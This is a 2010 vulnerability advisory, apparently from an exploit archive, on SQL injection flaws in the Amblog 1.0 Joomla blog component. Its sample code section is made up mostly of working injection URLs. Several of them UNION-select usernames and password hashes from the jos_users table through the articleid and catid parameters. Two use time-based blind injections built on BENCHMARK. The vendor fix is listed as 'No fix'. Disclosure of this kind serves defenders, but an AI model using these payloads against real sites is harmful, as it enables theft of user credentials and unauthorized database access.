Amblog 1.0 Joomla Component Multiple SQL Injection Vulnerabilities
Name Amblog Vendor http://robitbt.hu Versions Affected 1.0
Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-08-10
X. INDEX
I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX
I. ABOUT THE APPLICATION
Amblog is a simple blog engine for Joomla CMS.
II. DESCRIPTION
Some parameters are not properly sanitised before being used in SQL queries.
III. ANALYSIS
Summary:
A) Multiple SQL Injection B) Multiple Blind SQL Injection
A) Multiple SQL Injection
Some parameters, such as articleid and catid, are not properly sanitised before being used in SQL queries.This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
B) Multiple Blind SQL Injection
The articleid parameter is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
IV. SAMPLE CODE
A) Multiple SQL Injection
http://site/path/index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
http://site/path/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users
http://site/path/index.php?option=com_amblog&task=newform&catid=-1 UNION SELECT 1,CONCAT(username,0x3a,password) FROM jos_users
http://site/path/index.php?option=com_amblog&task=editform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users
http://site/path/index.php?option=com_amblog&task=editcommentform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users
http://site/path/index.php?option=com_amblog&task=savenewcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users
http://site/path/index.php?option=com_amblog&task=saveeditcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users
B) Multiple Blind SQL Injection
http://site/path/index.php?option=com_amblog&task=editsave&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
http://site/path/index.php?option=com_amblog&task=delete&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
V. FIX
No fix.